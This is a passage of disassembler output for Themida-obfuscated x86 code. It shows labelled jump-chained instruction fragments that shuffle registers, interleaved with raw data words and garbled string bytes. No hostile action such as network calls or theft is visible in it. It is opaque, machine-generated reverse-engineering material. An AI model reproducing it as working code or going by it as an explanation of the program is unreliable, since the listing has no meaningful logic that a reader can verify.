		dd 85E932FFh, 89FFFF5Ah, 68BA2414h, 81779947h, 4B249AC7h
		dd 81D70102h, 4B249AEFh, 0CE98E902h, 0C781FFFFh, 0B612B8Eh
		dd 0EBE9565Eh, 8000007Fh, 0D30011C3h, 80E3B450h, 0E328F2F4h
		dd 0C8B5A58h, 0CB685224h, 8900007Dh, 4812424h, 424h, 0C2815A00h
		dd 4, 5204C283h, 42474FFh, 24048F5Ah, 5524248Bh, 242C8B54h
		dd 0E904C483h, 0FFFFCB27h, 98E9F801h, 8100004Ah, 3F2991CBh
		dd 73C38134h, 29E2E8BAh, 7B055BD8h, 29601E52h, 527B2DD8h
		dd 9AE9601Eh, 0B800004Dh, 157830CAh, 0F707E8C1h, 0ED66E9D8h
		dd 0F180FFFFh, 59CC887Bh, 7DE9ECD0h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AA4B:				; CODE XREF: Themida_:0055EE21j
		pop	eax
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_5563D9
; ---------------------------------------------------------------------------
		db 81h,	0E7h, 0EEh
		dd 4F45F33Dh, 367FEF81h, 0FB019680h, 481535Fh, 8F19BC24h
		dd 0EA815A08h, 88F19BCh, 5B2434FFh, 0FF7829E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AA85:				; CODE XREF: Themida_:0055B60Ej
		and	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 22A159D3h
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shl	edx, 4
		push	edi
		mov	edi, 15292515h
		push	ebx
		jmp	loc_563598
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FDE9525Bh, 8100003Fh, 4C4h,	240C8B00h, 4C481h, 0D7280000h
		dd 942C5A66h, 0B353F828h, 2EBC06Ah, 519BEB80h, 0FFA624E9h
		dd 0E5F381FFh, 8988D6CDh, 0C2055BDAh, 1128C56h,	71BE56D0h
		dd 812CDD0Ch, 0EB3BB5CEh, 1CE68116h, 0E96B7847h, 0FFFFDA47h
		dd 81241C8Bh, 4C4h, 93C38100h, 0E921B41Ah, 15F2h, 4C481h
		dd 4870000h, 24248B24h,	8952D231h, 4EC81E2h, 89000000h
		dd 4DBB241Ch, 81308562h, 0C038ACBh, 8E3C101h, 59BE9h, 241C8B00h
		dd 81595451h, 4C1h, 4C18300h, 5C240C87h, 0FFB97FE9h, 75F705FFh
		dd 0C229B158h, 0FFB486E9h, 7E68ADFFh, 8900000Bh, 7DBA2414h
		dd 0E943AF6Ah, 0FFFF6C59h, 0E904C483h, 0EAFh, 5D8BC581h
		dd 0EA298D80h, 0E95B525Dh, 0E6Fh, 0A0347C2Dh, 129E0544h
		dd 0BCE921E8h, 0E9000034h, 0FFFF587Ch, 0FFFFEE81h, 0BB53FFFFh
		dd 11A13C51h, 15BDE31h,	49E95EF1h, 68000035h, 7798h, 81240489h
		dd 4ECh, 243C8900h, 4BFh, 5FF88900h, 419CE981h,	0C101744Ch
		dd 0FF990DE9h, 243C89FFh, 2B55E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55ABEA:				; CODE XREF: Themida_:0055474Bj
		push	eax
		mov	eax, 1
		add	ebp, eax
		jmp	loc_553FAD
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0A8CD807Ah, 0FE5ECD80h, 212BE9CDh, 0D5F70000h, 0CDC58145h
		dd 89432263h, 0F7015DEEh, 243C335Eh, 33243C31h,	248B243Ch
		dd 0C8B6624h, 4EC8124h,	89000000h, 0E9542414h, 0FFFF9458h
		dd 0B252665Ah, 66D13005h, 3E9C05Ah, 0FFAF84E9h,	240481FFh
		dd 4, 8324048Bh, 895604C4h, 4C681E6h, 50000000h, 0FFFDCEE9h
		dd 2434FFFFh, 4E46E9h, 4815100h, 514D424h, 0ED815D02h
		dd 20514D4h, 50240C8Bh,	405E089h, 5000000h, 4, 0FF7C3AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AC8D:				; CODE XREF: Themida_:0055F6CCj
		push	4233h
		mov	[esp], ebp
		jmp	loc_55CAD6
; ---------------------------------------------------------------------------
a3YSvj		db 'ş3%Y%)ĐévJ',0
		align 2
		dw 48BDh
		dd 0E94AED5Ah, 110Ch, 66F4305Bh, 8324148Bh, 0E30002C4h
		dd 8BD82858h, 43E9241Ch, 8100001Ch, 4C7h, 4C78300h, 0FF81F5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55ACD5:				; CODE XREF: Themida_:0055B09Ej
		neg	edx
		jmp	loc_557048
; ---------------------------------------------------------------------------
		dd 0FF573FE9h, 8BFE31FFh, 0C483243Ch, 5EF10104h, 1147E9h
		db 0
; ---------------------------------------------------------------------------

loc_55ACF1:				; CODE XREF: Themida_:0055CA23j
		push	ecx
		mov	ecx, 18CE0ED3h
		and	ebp, ecx
		pop	ecx
		push	edi
		mov	edi, 58AA590Ch
		jmp	loc_557E54
; ---------------------------------------------------------------------------
		db 0B3h, 78h, 0C0h
		dd 22E907EBh, 66FFFFD4h, 0E924048Bh, 0FFFF8E97h, 2804C483h
		dd 515266D8h, 45E926B1h, 6800005Ch, 3F847C4Ch, 8124048Bh
		dd 4C4h, 749D2500h, 0BA524D41h,	698C44D5h, 0F287EAD1h
		dd 6506E94Eh, 34FF0000h, 5F13E924h, 0EC810000h,	4, 89241489h
		dd 0E579E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AD62:				; CODE XREF: Themida_:0055CE37j
		push	540Fh
		jmp	loc_55DBAA
; ---------------------------------------------------------------------------
		dd 8F04C483h, 48B2404h,	4C48124h, 31000000h, 4332404h
		dd 24043124h, 0FF5697E9h, 7E872DFFh, 348B5E8Fh,	974E924h
		dd 14890000h, 4FFEE924h, 248B0000h, 0C0B60F24h,	688734FFh
		dd 3406h, 3AAEE9h, 58B25200h, 0FE2CCA80h, 80C2FEC2h, 0D028D2F2h
		dd 3F15E9h, 64092D00h, 0F0297225h, 37F0E9h, 4E98100h, 87000000h
		dd 0EEE9240Ch, 0B8000034h, 1E9F58DDh, 0A03AE9h,	2EFC100h
		dd 835BE955h, 34FF0000h, 0C4815924h, 4,	0FF9DDBE9h, 835A5CFFh
		dd 148904ECh, 0B47BE924h, 0DFF7FFFFh, 0F703E7C1h, 0E5EF81D7h
		dd 89FEE96Ah, 0F5015FFEh, 4E92685Eh, 2C890000h,	2474FF24h
		dd 0C131E904h, 0F109FFFFh, 1EC1815Eh, 813A7418h, 6FC78EF1h
		dd 0E9CF315Fh, 0FFFFF998h, 4C481h, 15B0000h, 0A776E9D8h
		dd 0EDC10000h, 0C59CE906h, 5D58FFFFh, 0FFC2D9E9h, 4C483FFh
		dd 24048B5Bh, 4C481h, 7A2C0000h, 6866D000h, 89661F23h
		dd 7AB22414h, 8B66D000h, 0C4812414h, 2,	24148B66h, 93E95453h
		dd 8000007Ah, 0CF3016C1h, 81240C8Bh, 4C4h, 0E02AE900h
		dd 3C8BFFFFh, 4C48324h,	566CE981h, 79E95B0Ch, 5EFFFFD7h
		dd 0FFDA4DE9h, 0E9D789FFh, 1A56h, 240C8B54h, 8104C483h
		dd 4C1h, 14B8E900h, 34890000h, 7FFDE924h, 5F2CFFFFh, 5F04D028h
		dd 2C5A6B04h, 1F00E9DFh, 0C4810000h, 4,	0FFB268E9h, 602FB8FFh
		dd 0C7316DC3h, 5EFC158h, 4E7C147h, 7C3FE9h, 49E95600h
		dd 89FFFFBBh, 4C681E6h,	0E9000000h, 9CFEh, 8B240C33h, 4892424h
		dd 6A6E924h, 0B8500000h, 2D631371h, 8904EC83h, 2C812404h
		dd 0EB73F524h, 34E95E45h, 0BDFFFFC6h, 21BA55E2h, 0C0BF5752h
		dd 0E9121168h, 0FFFF829Ch, 28DDF580h, 240C8BEBh, 0FFADCDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55AF69:				; CODE XREF: Themida_:00551974j
		push	1970h
		jmp	loc_55A54D
; ---------------------------------------------------------------------------
		db 1
		dd 0C875EF1h, 88685C24h, 89000032h, 7168241Ch, 89000048h
		dd 4682404h, 58000000h,	8904EC83h, 0C6E92404h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55AF9B:				; CODE XREF: Themida_:00555DC4j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56088D
; ---------------------------------------------------------------------------

loc_55AFB0:				; CODE XREF: Themida_:0055FBD2j
		dec	edx
		jmp	loc_55E4D5
; ---------------------------------------------------------------------------
		dw 0D14Dh
		dd 4EC81EDh, 89000000h,	4DBA2414h, 0E9240927h, 0FFFF5D9Eh
		dd 0D0478BB9h, 23E95234h, 81000062h, 990651CEh,	6BC68173h
		dd 8142C04Bh, 65505EC6h, 17EE815Ch, 81A4B19Bh, 1A2BB5C3h
		dd 81F30112h, 1A2BB5EBh, 24348B12h, 7718E956h, 0E94AFFFFh
		dd 0AA00h, 0EF80E700h, 7EB65233h, 0FF9EF6E9h, 243431FFh
		dd 0E9243433h, 0FFFF9290h, 24048151h, 0FFFFFFFFh, 0E9240C8Bh
		dd 0FFFFBD98h
; ---------------------------------------------------------------------------

loc_55B034:				; CODE XREF: Themida_:00559D97j
		sub	ebp, edi
		pop	edi
		add	ecx, 4B27253Bh
		add	ecx, ebp
		sub	ecx, 4B27253Bh
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_553BB9
; ---------------------------------------------------------------------------

loc_55B05B:				; CODE XREF: Themida_:005622A7j
		push	345Fh
		mov	[esp], ecx
		push	edx
		pop	ecx
		pop	edx
		xchg	eax, edx
		jmp	loc_565B1B
; ---------------------------------------------------------------------------
aBSHls4		db 'Ĺs{HLéÎ4',0
		dw 5900h
		dd 2104C483h, 2434FFC8h, 8375E959h, 0E9520000h,	0FFFFADDEh
; ---------------------------------------------------------------------------

loc_55B08C:				; CODE XREF: Themida_:005522FAj
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	ebp
		push	edx
		mov	edx, 6BC45E19h
		jmp	loc_55ACD5
; ---------------------------------------------------------------------------

loc_55B0A3:				; CODE XREF: Themida_:00556D84j
		mov	ecx, 40655A4Eh
		sub	edi, 647A53E3h
		jmp	loc_55C060
; ---------------------------------------------------------------------------
		db 50h
		dd 405E089h, 5000000h, 4, 8B240487h, 0C2092424h, 4468E2D1h
		dd 89000031h, 1B9240Ch,	0E9000000h, 0FFFF5FD2h,	8106E3C1h
		dd 3B04A0E3h, 4F38161h,	0E9403300h, 0FFFF9A45h,	4EC81h
		dd 0C890000h, 234CB924h, 0B9511160h, 1160234Ch,	0FF9A8EE9h
		dd 7E6E68FFh, 4890000h,	6EB024h, 0C4E958C5h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55B11B:				; CODE XREF: Themida_:0055B84Bj
		pop	esi
		jmp	loc_559231
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0F1210000h, 4C1815Eh, 0E9FFC000h, 39A1h, 2474FF57h
		dd 7467E904h, 0F029FFFFh, 8904EC83h, 0D8E9243Ch, 89FFFFC9h
		dd 4C181E1h, 0E9000000h, 0BD2h,	0FF52BFE9h, 4E983FFh, 5C240C87h
		dd 89241C89h, 685650E3h, 59E52748h, 86F0E9h, 24048900h
		dd 73AEE9h, 0E95EB200h,	71C0h, 8B2414F7h, 5452242Ch, 0EF93E95Ah
		dd 8F5DFFFFh, 895C2404h, 47E9240Ch, 68000087h, 5819h, 83242489h
		dd 5E042404h, 0FF6D78E9h, 6AB368FFh, 4890000h, 34FF5424h
		dd 0C4815824h, 4, 670BBA52h, 5756208Eh,	842BCFBFh, 6E7C107h
		dd 4A72EF81h, 0E7814AE0h, 4D470879h, 0E781D7F7h, 524077E1h
		dd 0FF3AC781h, 0FE890286h, 38C6815Fh, 0E92BE151h, 0FFFFD62Ah
; ---------------------------------------------------------------------------

loc_55B200:				; CODE XREF: Themida_:0056119Dj
		pop	esp
		jmp	loc_563144
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 9BA004F2h, 8BD60974h, 7DE92414h, 5C000044h, 24048F54h
		dd 4240481h, 0E9000000h, 0FFFFAE3Bh, 8124048Bh,	4C4h, 49BD5500h
		dd 81165119h, 0EC24D6CDh, 0DBF5811Dh, 11FFD3Dh,	0FF565DEEh
		dd 0FF042474h, 0A9E92434h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B253:				; CODE XREF: Themida_:0055F540j
		mov	edx, 510E5D6Dh
		sub	ebx, edx
		jmp	loc_55A69E
; ---------------------------------------------------------------------------
		db 0B5h
		dd 6EB6527Eh, 0CEFED6F6h, 79E9D6F6h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B26F:				; CODE XREF: Themida_:0055F826j
		and	esi, 81D5109h
		xor	esi, 90E4C26Dh
		mov	edi, esi
		pop	esi
		jmp	loc_559296
; ---------------------------------------------------------------------------
aASrg		db 'Áí',8,'érƒ',0
		dw 6600h
		dd 6624048Fh, 664B5C68h, 0E9243C89h, 0FFFFC440h, 8BEE015Fh
		dd 8957242Ch, 4C781E7h
		db 3 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5535D2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3269E951h, 0EA290000h, 5AD7895Dh,	8103EFC1h, 0CF7E74E7h
		dd 64CF8101h, 0F765F94Eh, 46B968D7h, 2C890000h,	9197BD24h
		dd 0EF299A00h, 5FFB015Dh, 4EB81h, 0FF530000h, 0E9042474h
		dd 577Eh
; ---------------------------------------------------------------------------

loc_55B30C:				; CODE XREF: Themida_:00555037j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_561924
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFBBA3h
; ---------------------------------------------------------------------------

loc_55B320:				; CODE XREF: Themida_:0055D434j
		pop	esp
		push	dword ptr [edi+eax*4]
		jmp	loc_5535F6
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 1000000h, 0C1835EF1h, 240C8704h, 5E9BE95Ch, 1C87FFFFh
		dd 0C895C24h, 81595424h, 4C1h, 2C18100h, 68000000h, 6808h
		dd 0FFCDC0E9h, 215BBEFFh, 0EEC14100h, 5000E902h, 0C890000h
		dd 0EFB7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B372:				; CODE XREF: Themida_:0055C509j
		pop	edx
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		push	5B7Ch
		mov	[esp], eax
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_562240
; ---------------------------------------------------------------------------
		dw 684Eh
		dd 51Ah, 0BF243C89h, 7EE0FE1Ah,	0E95FFE29h, 52E0h, 4C481h
		dd 0E8000000h, 83240C8Bh, 0B55104C4h, 0BEB807Ch, 41E9EB00h
		dd 81000043h, 94B8CF2h,	0A9C58144h, 812E1B1Bh, 9A7BFDEDh
		dd 81D50173h, 9A7BFDC5h, 0B491E973h, 0BD55FFFFh, 27FF3C35h
		dd 778B850h, 7F2D7708h,	0F7194C18h, 105925D8h, 0F3356196h
		dd 2D4F7869h, 29AF776Dh, 3966BE56h, 0F001F162h,	0E924348Bh
		dd 0FFFFF758h
; ---------------------------------------------------------------------------

loc_55B420:				; CODE XREF: Themida_:0055D9E3j
		add	ebp, 1DAE0D68h
		add	ebp, ecx
		sub	ebp, 1DAE0D68h
		push	dword ptr [esp]
		jmp	loc_556BA2
; ---------------------------------------------------------------------------
		dw 0FE87h
		dd 0FE87DFF7h, 0BBBD5552h, 8964D855h, 0D6315DEAh, 758AE9h
		db 0
; ---------------------------------------------------------------------------

loc_55B44D:				; CODE XREF: Themida_:00550851j
		pop	esp
		mov	[esp], edi
		mov	edi, 1BB001F5h
		sub	edi, 45190153h
		inc	edi
		sub	edi, 0B0AD9CA9h
		add	edx, 19A375FDh
		add	edx, edi
		jmp	loc_5557F0
; ---------------------------------------------------------------------------
		dd 8324248Bh, 148904ECh, 8018B624h, 0F0008BF6h,	8B2434FFh
		dd 0C4832414h, 0C091E904h, 5166FFFFh, 83E95152h, 51FFFFA6h
		dd 9E7290B9h, 83D1F718h, 0D1F701C1h, 8FBA52h, 0EA876127h
		dd 0EA87D5F7h, 0ED62EA81h, 0D121643Bh, 0D277E95Ah, 0E8C0FFFFh
		dd 6E8C002h, 0DAF6D086h, 652CD086h, 2858C300h, 9BEB80C3h
		dd 7D1368h, 24048900h, 12E9F7B0h, 5A000079h, 5028C581h
		dd 0C5011B9Bh, 0E904EC83h, 2C91h, 0B9240C89h, 460A6C1Fh
		dd 0BA493205h, 2DC80172h, 72BA4932h, 45E42D59h,	30FF69DDh
		dd 53240C8Bh, 0C381E389h, 4, 8704C383h,	3EE9241Ch, 8F000043h
		dd 895C2404h, 7DE92424h, 81000020h, 253713CBh, 26F8E90Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B53E:				; CODE XREF: Themida_:005600B8j
		mov	esp, [esp]
		jmp	loc_55CB36
; ---------------------------------------------------------------------------

loc_55B546:				; CODE XREF: Themida_:005594DCj
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_552014
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 685150h, 59008E63h, 6C86F181h, 14E951EDh, 0FF00005Dh
		dd 0E9582434h, 46D0h
; ---------------------------------------------------------------------------

loc_55B584:				; CODE XREF: Themida_:00550E24j
		sub	edi, 0F914EC48h
		add	esi, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		push	3800h
		mov	[esp], edx
		push	26A9h
		mov	[esp], eax
		jmp	loc_553F3F
; ---------------------------------------------------------------------------
		dw 0CA89h
		dd 0FFD02159h, 0B8E92434h, 89000067h, 41E9242Ch, 0FFFFFFD4h
		dd 148B2434h, 4C48124h,	0E9000000h, 9A65h, 55242C87h, 242C8B53h
		dd 4C481h, 535B0000h, 0FFB10EE9h, 0C3815BFFh, 4, 8702C383h
		dd 515C241Ch, 0CD8094B5h, 0FEE953EFh
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B607:				; CODE XREF: Themida_:0055E056j
		pop	ecx
		push	ebp
		mov	ebp, 24400B44h
		jmp	loc_55AA85
; ---------------------------------------------------------------------------
		db 31h
		dd 8C0DE9F0h, 89560000h, 3EBA52E6h, 810B5300h, 3108BFCAh
		dd 0BBE95742h, 8BFFFF97h, 0E9502424h, 7594h, 437309BAh
		dd 2444816Dh, 4D172104h, 24542958h, 246C8104h, 4D172104h
		dd 1217E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B656:				; CODE XREF: Themida_:00552107j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5513E8
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0FF24248Bh, 4DA6E930h, 0F731FFFFh, 28EE815Eh, 57316A54h
		dd 5D0443BFh, 5FFE0103h, 9268FE01h, 0E9000016h,	0FFFFD10Bh
		dd 6EE8B850h, 0D8F767D2h, 0E0C1D0F7h, 1E972D04h, 542D787Eh
		dd 0E9B393AAh, 0FFFFC4CEh, 0EE10EA81h, 0EB81B38Ch, 5045723Dh
		dd 0C381D301h, 5045723Dh, 2434FF5Ah, 4C4835Eh, 0FFF4CAE9h
		dd 0E18951FFh, 41C7BE56h, 0F68123DEh, 327F7D93h, 0FFF4BBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B6E9:				; CODE XREF: Themida_:005585B1j
		push	edi
		jmp	loc_55154E
; ---------------------------------------------------------------------------
		db 88h
		dd 0EE8059CEh, 0C7B0508Dh, 20E9D804h, 83000004h, 1C8904ECh
		dd 9A65E924h, 0EC830000h, 24148904h, 0C281E289h, 4, 4C281h
		dd 14870000h, 0D8295C24h, 4CE4BE56h, 28E9170Ch,	89FFFF61h
		dd 0E0C15EF0h, 8FBB5303h, 0E9013C7Ch, 0FFFFD14Fh, 4EC835Bh
		dd 0FFF498E9h, 240489FFh, 0ECE9FBB0h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B753:				; CODE XREF: Themida_:0056451Bj
		mov	ebx, [esp]
		add	esp, 4
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		push	4CF0h
		jmp	loc_55D177
; ---------------------------------------------------------------------------
		db 81h
		dd 524599F5h, 0E9E82921h, 16FAh, 8B24048Fh, 0D5E92424h
		dd 5600000Eh, 0DC0218BEh, 3F21E923h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B78E:				; CODE XREF: Themida_:0055C40Bj
		mov	ebp, edx
		jmp	loc_564CF0
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 0FFFF6DD0h
; ---------------------------------------------------------------------------

loc_55B7A0:				; CODE XREF: Themida_:00562DC1j
		shr	ecx, 4
		xor	ecx, 5E4D2A8Bh
		xor	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	ebx
		mov	ebx, 76E166ECh
		jmp	loc_55F43F
; ---------------------------------------------------------------------------
		db 0B9h, 0FCh, 0F1h
		dd 0CD31FC1Ch, 5DE88959h, 48BC729h, 4C48124h, 33000000h
		dd 3C31243Ch, 243C3324h, 0FFEAB2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B7E5:				; CODE XREF: Themida_:00550C21j
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		jmp	loc_562B3D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C5h, 4C58300h, 5C242C87h, 3A6968h, 241C8900h, 0B951E389h
		dd 71BE61AEh, 1BA8E9h
		db 0
; ---------------------------------------------------------------------------

loc_55B81D:				; CODE XREF: Themida_:005659B8j
		mov	[esp], eax
		jmp	loc_55FDA3
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 3
		dd 0EB80CB28h, 68665903h, 8966424Ah, 7FE92414h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B83B:				; CODE XREF: Themida_:0055349Aj
		add	ebx, 75E81356h
		add	ebx, edx
		push	esi
		mov	esi, 75E81356h
		sub	ebx, esi
		jmp	loc_55B11B
; ---------------------------------------------------------------------------

loc_55B850:				; CODE XREF: Themida_:00557B8Cj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_557E20
; ---------------------------------------------------------------------------
		align 2
		dw 58E3h
		dd 8124048Bh, 4C4h, 68C30000h, 7C80h, 0B6241489h, 80CEFE77h
		dd 5066EACEh, 0F1E9EFB0h, 66FFFF61h, 660990B8h,	566D8F7h
		dd 89E97D4Ah
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55B897:				; CODE XREF: Themida_:00551011j
		xor	esi, 9392B8E1h
		sub	ebx, esi
		pop	esi
		add	ebx, ebp
		add	ebx, 74EB4359h
		push	esi
		jmp	loc_55F292
; ---------------------------------------------------------------------------
		dw 0FF56h
		dd 0E9042474h, 0FFFF5881h
; ---------------------------------------------------------------------------

loc_55B8B8:				; CODE XREF: Themida_:0055506Ej
		pop	esp
		mov	[esp], ecx
		push	503C5F6Eh
		pop	ecx
		jmp	loc_559929
; ---------------------------------------------------------------------------

loc_55B8C7:				; CODE XREF: Themida_:0056011Cj
		add	edx, 73B56B53h
		jmp	loc_550420
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0C4832414h, 5D545502h, 4C581h, 0B8500000h, 4, 6702ED81h
		dd 0C5296139h, 0FFCF00E9h, 2FB151FFh, 0C7E9C9FEh, 1FFFFE1h
		dd 0C2815FFAh, 413F1A45h, 0EA81EA01h, 413F1A45h, 16BFEA81h
		dd 2C8B32ACh, 20F0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55B91E:				; CODE XREF: Themida_:00550DDAj
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	65Fh
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_5646D4
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5EF18900h
		db 1, 0CBh, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_551E74
; ---------------------------------------------------------------------------

loc_55B959:				; CODE XREF: Themida_:005579DFj
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_5655A8
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4DCA68h, 240C8900h, 0BD55E189h, 4, 9DA0E9h
		dd 5905BB00h, 685164B8h, 2999h,	6ABBE9h, 241C8900h, 0EFC086B7h
		dd 2DF78005h, 28B8EF80h, 9E60E9FEh, 0CE01FFFFh,	0FF2434FFh
		dd 81592434h, 4C4h, 4C48300h, 348BF021h, 4C48124h, 9000000h
		dd 68E2D1C2h, 21F4h, 0B8240489h, 0FFFFFFFFh, 0FFD76FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55B9D9:				; CODE XREF: Themida_:005658F1j
		push	893h
		mov	[esp], edi
		mov	edi, 509C3DD8h
		jmp	loc_554BB2
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78300h, 5C243C87h, 0B3E95456h, 0FFFFFF93h, 148B2434h
		dd 4C48324h, 0FFD80CE9h, 0C68159FFh, 183251C1h,	6A44E681h
		dd 0BF5727F2h, 0D382FE2Bh, 81E9FE29h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BA27:				; CODE XREF: Themida_:0055BE8Bj
		cmp	cl, al
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------
a1SZ		db '1Ĺéۇ',0
		align 2
		dw 1487h
		dd 0BD555C24h, 4, 37BDE9h, 50F8B200h, 0E228DBB4h, 3589E9h
		dd 0BEC68100h, 5023B260h, 8457F6B8h, 9F61E97Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55BA62:				; CODE XREF: Themida_:0055360Ej
		sub	ecx, 4
		jmp	loc_558E69
; ---------------------------------------------------------------------------
		dw 8952h
		dd 4C281E2h, 81000000h,	2C2h, 24148700h, 6657665Ch, 66481ABFh
		dd 4247C01h, 81665F66h,	0A102246Ch, 7C016614h, 1DE90224h
		dd 5EFFFF59h, 27B3E9h, 247C0100h, 243C8B04h, 0E904C483h
		dd 0FFFF657Eh, 0F4ABD55h, 0EA313145h, 1D8BE95Dh, 0C3280000h
		dd 0FFF9C9E9h, 46E959FFh, 81FFFF74h, 4C6h, 4EE8300h, 5C243487h
		dd 89242C89h, 4C581E5h,	81000000h, 4C5h, 242C3300h, 0E9242C31h
		dd 0FFFFA8F6h, 63D768h,	240C8900h, 0FF7FDAE9h, 0CEB905FFh
		dd 0C301C8BDh, 240C8B58h, 8704C483h, 248B241Ch,	4A30F24h
		dd 1E99C24h, 30FFFF49h,	24048BC6h, 6604C483h, 0FEF58851h
		dd 66EE88CDh, 0BCEE8059h, 0FF7F4FE9h, 4EC81FFh,	0E9000000h
		dd 608Ch
; ---------------------------------------------------------------------------

loc_55BB44:				; CODE XREF: Themida_:00558482j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	ebx, 4F2A2FE6h
		add	ebx, esi
		jmp	loc_553A38
; ---------------------------------------------------------------------------
a1434SO		db '14$34$é$o',0
		align 2
aVsl		db 'Vél{',0
		align 4
		dd 4C481h, 89660000h, 66565DEBh, 660A37BEh, 1EE9DEF7h
		dd 88FFFFD7h, 84EFE9D0h, 0E6D1FFFFh, 19EEE81h, 0F589B68Fh
		dd 2C81555Eh, 24689F24h, 0C6815E3Eh, 3E24689Fh,	10A9E9h
		dd 0BA525800h, 0FFFFFFFFh, 815AD329h, 3AEC72C3h, 2F2968E6h
		dd 0EAE90000h, 0FFFFFF78h, 51E92434h, 87FFFF56h, 895C241Ch
		dd 0CE92414h, 5800004Dh, 815A5452h, 4C2h, 4EC8300h, 0FF77F8E9h
		dd 0E95155FFh, 2AF3h, 59CA6848h, 3C890000h, 0B029E924h
		dd 0FF50FFFFh, 58042474h, 5C24048Fh, 68240489h,	26BEh
		dd 9ED3E9h
		db 0
; ---------------------------------------------------------------------------

loc_55BC11:				; CODE XREF: Themida_:0055514Ej
		pop	ecx
		sub	ecx, 5DBB113Ah
		and	ecx, 2C60338Eh
		add	ecx, 306C41E9h
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_551B89
; ---------------------------------------------------------------------------

loc_55BC31:				; CODE XREF: Themida_:0055183Dj
		mov	ecx, eax
		pop	eax
		jmp	loc_556F8B
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 6AA41FB8h
		mov	ebx, 7BE858h
		add	ebx, 0BD906F4h
